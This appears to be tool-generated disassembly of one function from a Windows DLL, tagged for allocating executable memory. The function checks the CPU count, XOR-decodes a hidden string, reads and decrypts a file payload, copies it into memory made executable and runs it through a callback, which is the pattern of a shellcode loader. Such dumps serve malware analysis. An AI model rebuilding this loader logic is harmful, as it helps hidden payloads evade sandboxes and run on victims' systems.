Function at 0x180006ee0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x18007a240]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor esi, esi
lea rcx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [0x18006bf68]
lea rcx, [0x18007ec60]
call fcn.18000bec0
mov rcx, rax
call fcn.18000c170
lea rdx, [0x18006bf78]
lea rcx, [0x18007ec60]
call fcn.18000bec0
movzx edx, word [rbp - 0x68]
mov rcx, rax
call fcn.180008f60
mov rcx, rax
call fcn.18000c170
lea rdx, str.CPU
lea rcx, [0x18007ec60]
call fcn.18000bec0
mov edx, dword [rbp - 0x48]
mov rcx, rax
call fcn.180008d60
mov rcx, rax
call fcn.18000c170
lea rdx, [0x18006bfa0]
lea rcx, [0x18007ec60]
call fcn.18000bec0
mov edx, dword [rbp - 0x64]
mov rcx, rax
call fcn.180008d60
mov rcx, rax
lea rdx, [0x18006bf98]
call fcn.18000bec0
mov rcx, rax
call fcn.18000c170
lea rax, str.Intel_386
lea rbx, [0x18006bfbc]
cmp dword [rbp - 0x44], 0x182
cmove rbx, rax
lea rdx, [0x18006bfc8]
lea rcx, [0x18007ec60]
call fcn.18000bec0
mov rcx, rax
mov rdx, rbx
call fcn.18000bec0
mov rcx, rax
call fcn.18000c170
lea rdx, str._______________________
lea rcx, [0x18007ec60]
call fcn.18000bec0
mov rcx, rax
call fcn.18000c170
cmp dword [rbp - 0x48], 3
jge 0x180007037
lea ebx, [rsi + 2]
call fcn.180006ee0
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0x50]
call fcn.18000c200
jmp 0x180007021
call fcn.180007830
lea rcx, [rsp + 0x70]
call fcn.180006d70
nop
lea rdx, [rbp + 0x50]
mov rcx, rax
call fcn.1800066d0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x180007095
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007090
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800076fc
call fcn.180025c10
movdqa xmm0, xmmword [0x18006c420]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], si
movabs rax, 0xfacbd5821cce35a1
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x60], rax
movabs rax, 0x65b78c56f47a34e2
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
movabs rax, 0xd4aea1e378be40fd
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x65b78c56f40e5586
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
mov rdi, 0xffffffffffffffff
mov rcx, rdi
inc rcx
cmp byte [rax + rcx], 0
jne 0x180007131
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp + 0x60]
sub rax, rdx
cmp rax, rcx
jb 0x180007702
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r9, qword [rbp + 0x50]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x50]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.1800051b0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xb0]
call fcn.180055030
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0xb0]
call fcn.18000ac10
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], r14
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xac], edx
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x68], 1
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0xf8]
mov qword [rsp + 0x50], rax
test rax, rax
sete byte [rsp + 0x58]
mov byte [rsp + 0x59], 0
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x1c0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x60], xmm1
lea r8, [rbp + 0x1c0]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x30]
call fcn.18000c3d0
nop
lea rcx, [rbp + 0xc0]
call fcn.18000aad0
test rax, rax
jne 0x18000729a
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov ebx, 2
cmp qword [rbp + rcx + 0xf8], 0
cmovne eax, ebx
or eax, dword [rbp + rcx + 0xc0]
and eax, 0x17
mov dword [rbp + rcx + 0xc0], eax
mov edx, dword [rbp + rcx + 0xc4]
and edx, eax
jne 0x180007708
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
mov r8d, 0x20
cmp qword [rbp - 0x20], r8
cmovb r8, qword [rbp - 0x20]
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
lea rcx, [rbp + 0x90]
call fcn.180004cd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov rax, qword [rbp - 0x20]
cmp rax, 0x20
jb 0x18000775a
add rax, 0xffffffffffffffe0
mov r8d, 0x40
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
add rdx, 0x20
lea rcx, [rbp + 0x70]
call fcn.180004cd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov rax, qword [rbp - 0x20]
cmp rax, 0x40
jb 0x180007760
add rax, 0xffffffffffffffc0
cmp rax, 0xffffffffffffffff
cmovb rdi, rax
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
add rdx, 0x40
mov r8, rdi
lea rcx, [rbp + 0x10]
call fcn.180004cd0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
xor r8d, r8d
lea rdx, [0x18006bf0d]
lea rcx, [rbp - 0x10]
call fcn.180004cd0
nop
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x70]
call fcn.1800040d0
mov rbx, rax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x1c0]
call fcn.1800040d0
nop
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x10]
mov rdx, rbx
mov rcx, rax
call fcn.180002cf0
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
test r8, r8
je 0x18000742e
test rax, rax
je 0x18000741e
mov rcx, rax
test rdx, rdx
je 0x180007419
call fcn.180054990
jmp 0x18000742e
call fcn.180055030
call fcn.180035588
mov dword [rax], 0x16
call fcn.18003541c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rbx, [rax + 0x26e0]
mov dword [rbp - 0x38], esi
lea r9, [rbp - 0x38]
mov r8d, 0x20
mov rdx, qword [rbp]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, rdi
mov rcx, rbx
call fcn.1800056e0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x18000749e
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007499
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007766
call fcn.180025c10
mov qword [rbp], rsi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x1800074e9
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800074e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000776c
call fcn.180025c10
movdqa xmm0, xmmword [0x18006c430]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x180007539
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007533
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007772
call fcn.180025c10
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x18000757b
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007575
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007778
call fcn.180025c10
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1800075b6
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800075b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000777e
call fcn.180025c10
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xb0], r14
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xc0]
call fcn.180008aa0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0xac], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x160], rax
lea rcx, [rbp + 0x160]
call fcn.180025324
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x180007682
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000767d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007784
call fcn.180025c10
movdqa xmm0, xmmword [0x18006c430]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x1800076ca
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800076c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800076f6
call fcn.180025c10
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.180025bf0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.18003543c
nop
call fcn.18003543c
nop
call fcn.180001660
nop
test dl, 4
je 0x180007716
lea rbx, str.ios_base::badbit_set
jmp 0x18000772a
test bl, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x70]
call fcn.1800059c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.180006570
lea rdx, [0x1800785e0]
lea rcx, [rsp + 0x70]
call fcn.180027d28
nop
call fcn.1800052d0
nop
call fcn.1800052d0
nop
call fcn.18003543c
nop
call fcn.18003543c
nop
call fcn.18003543c
nop
call fcn.18003543c
nop
call fcn.18003543c
nop
call fcn.18003543c
int3